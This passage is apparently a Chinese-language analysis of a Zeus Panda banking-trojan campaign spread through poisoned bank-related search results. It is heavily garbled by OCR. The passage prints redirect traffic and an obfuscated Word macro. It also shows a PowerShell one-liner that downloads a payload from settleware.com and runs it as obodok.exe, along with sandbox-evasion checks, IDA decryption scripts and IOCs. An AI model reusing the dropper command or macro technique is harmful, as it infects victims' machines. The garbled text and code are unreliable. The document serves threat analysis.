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GET /klb/jguery.js.php?i=http%3A%2Fe2Fdverioptomtut. rusFtsd%2Fef2TR3Fqe3bal+rajhi+bank+working+time+in+ramadan
HTTF/1.1

Accept: applicatien/javascript, =/=;q=2.8

Referer: http://corvettescruisingalveston.com/wp/internet-banking-form—in-shi/al-rajhi-bank-working-time-in-
ramadan. php

Accept-Language: en-US

User-Agent: Mozilla/5.8 (compatible; MSIE 9.8; Windows NT 6.1; WinG4; x64; Trident/s5.8)

UA-CPU: AMDES

Accept=Encoding: gzip, deflate

Host: dverioptomtut.ru

Connection: Keep-Alive

HTTE/1.1 288 OK

Date: Wed, 85 Jul 2817 13:46:48 GMT
Server: Apache/2.2.22 (@RELEASE®@)
X-Powered-By: PHP/7.1.4
Content-Length: 3732

Connection: close

Content-Type: text/html; charset=UTF-8

var splashpage = {

splashenabled: g

spLHEhpageur'l:htp:f!dveriuptnmtut.ru,.-’tsdfefl'.l'?q=a]. rajhi bank working time in ramadan',l
enablefrequenclt of

displayfrequency: "2 days",

SRIE, FEARSERFIRE— HTTP 302 iz, HEFIKREEEER—NZRRNEL, M
2 RSEFREEE—NEE Word X#H. RE, BERIGSRBELLEER, HFTEHEEXHE.
XM ARBERA 302 A, BERRERESFIA.

GET stedsef27rg=al%28rajhi%2@bank%2Bworking%20t ime%28in%28 ramadan HTTR/1.1

Accept: text/html, application/xhtml+xml, #/%

Referer: http://corvettescruisingalveston.com/wp/internet-banking-form-in—-sbisal-rajhi-bank-working-time-in-
ramadan.php

Accept-Language: en-US

User-Agent: Mozilla/5.9 (compatible; MSIE 9.9; Windows NT 6.1; Wint4; x64; Trident/5.8)

Ua-CPU: AMDG4

Accept-Encoding: gzip, deflate

Host: dverioptomtut.ru

Connection: Keep-Alive

HTTP/1.1 382 Found

Date: Wed, 85 Jul 2817 13:46:46 GMT

Server: Apache/2.2.22 (@BRELEASE®)

X-Powered-By: PHP/S7.1.4

Set-Cookie: cu_ef27=08; expires=Thu, B6-Jul-2017 13:46:46 GMT; Max-Age=B6488; path=/

Location: http://mikemuder.com/blog/wp—content/plugins/xmigrab/?k=al+rajhi+bank+working+time+in+ramadankt=2
Content-Length: @

Connection: close

Content-Type: text/html; charset=UTF-8

IRFEEE RS S TEHEER Microsoft Word 3215,
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GET sblog/wp—content/plugins/xmlgrab/ tk=al+rajhi+bank+working+time+in+ramadan&t=8 HTTP/1.1

Accept: text/himl, application/xhtml+xml, =/%

Referer: http://corvettescruisingalveston.com/wp/internet-banking-fore-in-shi/al-rajhi-bank-working-time-in-
ramadan.php

Accept-Language: en-US

User=Agent: Mozilla/5.@ (compatible; MSIE 9.8; Windows NT 6.1; Winb4; x64; Trident/5.8)

UaA-CPU: AMDGES

Accept-Encoding: gzip, deflate

Host: mikemuder.com

Connection: Keep-Alive

HTTP/1.1 28@ OK

Date: Wed, @5 Jul 2817 13:46:48 @MT

Set-Cookie: BX=9933b85clpreBib=3&s=da; expires=Tue, B2-Jun-2837 20:008:00 GMT; path=/; domain=.mikemuder.com
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml”, CP="CAD DSP COR CUR ADM DEV TAI PSA PSD IVAL IVD1 CONi TELo
OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY OML UNI PUR FIM COM MNAY INT DEM CNT S5TA POL HEA PRE LOC GOV™
Content=-disposition: attachment;filename=al=-rajhi=-bank=-working=tise=1in=ramadan.doc

Content-Type: application/octet-stream

Age: @

Transfer-Enceding: chunked

Connection: keep-alive

Server: ATS/5.3.8
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Attribute VB _Name = "KHdryy"

Function O0Jej(odfjdr)

fhgrtt = “(" + jset.yuthhf + jset.vbcffg + "~
pdfjt = ofjdt.Jifrt

kpsd = "5" + odfjt + "ebClient)"

dLsPfri = fhortt + kpsd

bxcvis = "," + ofjdt.jgkl + “loadFile™

JIjer = "('" + idfhe.wetr + idfhe.zxvc + idfhe.jftr + idfhe.nvef + "t','%" + ofjdt.ytu + "S\obodok.exe'):"
vcber = "Start-" + "Process '%" + ofjdt.ytu + "%\obodok.exe';"

Dlej = ofjdt.rty + " fc " + jset.tyre + jset.ytef + jset.nmgf + "" + dLsPfri + bxcvis + JIjer + vcber + "¢
End Function
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FEALT Powershell 543k BanttiTFz:

PowerShell (New-0Object System.Net.WebClient).DownloadFilel'http://settleware.com/blog/wp—
content,/themes/inove//templates/html/krang. wwt ', 'C:\Users\ADMINI-~1\AppData’Local\Temphobodok. exe" ) ; Start-Process

'€:\Users\ ADMINI~1%\AppData’LocalhTemp obodok. exe' ; |
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EERHESPITREURHE R ES AU T EMEIZIEF SIS &IMEFIET:

e VMware

e VirtualPC
e VirtualBox
e Parallels

e Sandboxie
e Wine

o Softlce

EESRERGTRESHFETERG P ITARES T EEREREZESEITHEMH TEMSE
RiEF. BERGHHITHAEIMERENTTEYIRINT:



= is_physical_or_vm_machine;

= check_file_registry_vmware;

= check_file_virtualbox;

= check_file_mutex_virtualpc;

= check_files_parallel32;

= check_registry_BOCHS;

= check_files_popupkiller_stimulator;

= check_files_TOOLS_execute_exe;

= check_loadedmodule_mutext_for_sandboxie;

= check_for_mutex_Frz_State;

= check_files_process_wireshark;

= check_registry_apiname_Wine;

= check_process_immunity;
lookup_process_processhacker;

= lookup_process_procexp;

= check_process_procmon;

= check_process_idaq;

= check_process_regshot;

= check_process_aut2exe_joebox:

= check_process_perl;

= check_process_python;

= check_files_softice;
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§f gxist "CiUSErs Desktophartifact =B 55cfiFbcildfl4b7IcBL edBcOREThTE064cc362 T R60T M 0sabf a3 5E1bS. exe” goto d
del /F "Cihusers AppoatahLocal\Temphupd267el3f 8. bat
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HIEEBREH RPN ENX P E, FEASHHH (EnumDisplayMonitor K]
VEBIFEINGE) RE S XS N FEIEEFIFZAE, MMARLEFE winmain HIE1T.

ALPITERESD, TEREFEEIZH B FHEERNIT

EERSNENEFHE, BEEFNFHREERRIMMNRSERPEE2ACNING. T
T =2 A AR SRR 747 52 RY IDA Python fXAD.

def decrypt(data, length, key):
o= "
while ¢ < length:

o += chr((c ~ ord(datalc]) ~ ~key) & Oxff)

c +=1
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return o

def get data(index):

base encrypt = 0x1251A560

key = Word(base encrypt+8*index)
length=Word (base encrypt+2+8*index)
data=GetManyBytes (Dword (base encrypt+4+8*index),

return key, length, data

def find entry index(addr) :

addr = idc.PrevHead (addr)

if GetMnem (addr)
return GetOperandValue (addr, 1)

return None

for addr in XrefsTo (0x1250EBD2, flags=0):

entry = find entry index(addr.frm)

try:

key, length, data = get data(entry)

dec = decrypt(data, length, key)

print "Ref Addr: 0x%x | Decrypted: %s" %

MakeComm (addr.frm, ' decrypt string return
MakeComm (ref, dec)
except:

pass

(addr.frm,

length)

== "mov" and "ecx" in GetOpnd (addr, O0):

dec)

: '+dec)

AR RGERRMEZFS|FHE IDA 2578, Hoh 0x1250EBD2 3N FHEZZ 8K 1Z, 0x1251A560

XN T INER F R R
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XtF APIAR, THFERUTEENAXREMMMES APLEAR. XU EAULE IDA F{ERIL
&3t APl AR T ERFRAKEE.

def build xor api name table():
global table xor api
if not table xor api:
table xor api = []
entries = 0
while entries < 256:
copy index = entries
bits = 8
while bits:
if copy index & 1:
copy index = (copy index >> 1) ~ 0xEDB88320
else:
copy index >>= 1
bits -=1

table xor api.append(copy index)
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def

entries += 1

return table xor api

compute hash (inString) :
global table xor api
if not table xor api:

build xor api name table()

if inString is None:

ecx

for

ecx

return 0

= OxXFFFFFFFF

i in inString:
eax = ord(1i)

A

eax = eax ecx
ecx = ecx >> 8

eax = eax & Oxff

ecx = ecx ” table xor apileax]

= ~ecx & OxXFFFFFFFF

return ecx
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Word 3153044 -
nordea-sweden-bank-account-number.doc
al-rajhi-bank-working-hours-during-ramadan.doc
how-many-digits-in-karur-vysya-bank-account-number.doc
free-online-books-for-bank-clerk-exam.doc
how-to-cancel-a-cheque-commonwealth-bank.doc
salary-slip-format-in-excel-with-formula-free-download.doc
bank-of-baroda-account-balance-check.doc
bank-guarantee-format-mt760.doc
incoming-wire-transfer-td-bank.doc
free-online-books-for-bank-clerk-exam.doc
sbi-bank-recurring-deposit-form.doc

Word 38 1E:
713190f04332e9180aea272957d80b2b408ef479d2d022f0c561297dafcfaec2 (SHA256)
4% URL Hj PE32:

settleware[.Jcom/blog/wp-content/themes/inove/templates/html/krang.wwt



PE32 M7 {HE:
59b11483cb6ac4ea298d9caecf54c4168ef637f2f3d8c893941c8bea77c67868 (SHA256)
5f4c8191caeab525a6fe2dddce21e24157f8¢c131f0ec310995098701f24fa6867 (SHA256)
29f1b6b996f13455d77b4657499daee2f70058dc29e18fa4832ad8401865301a (SHA256)
0b4d6e2f00880a9e0235535bdda7220ca638190b06edd6b2b1cbal5eb3ac6a92 (SHA256)
C2 iui:

hppavagOab9raaz[.]club

havagab9raaz[.]club

C2 IP itbiit:

82.146.59[.]228
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http://blog.talosintelligence.com/search/label/zeus
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https://www.blogger.com/post-edit.g?blogID=1029833275466591797&postID=6825885634285233243&from=pencil
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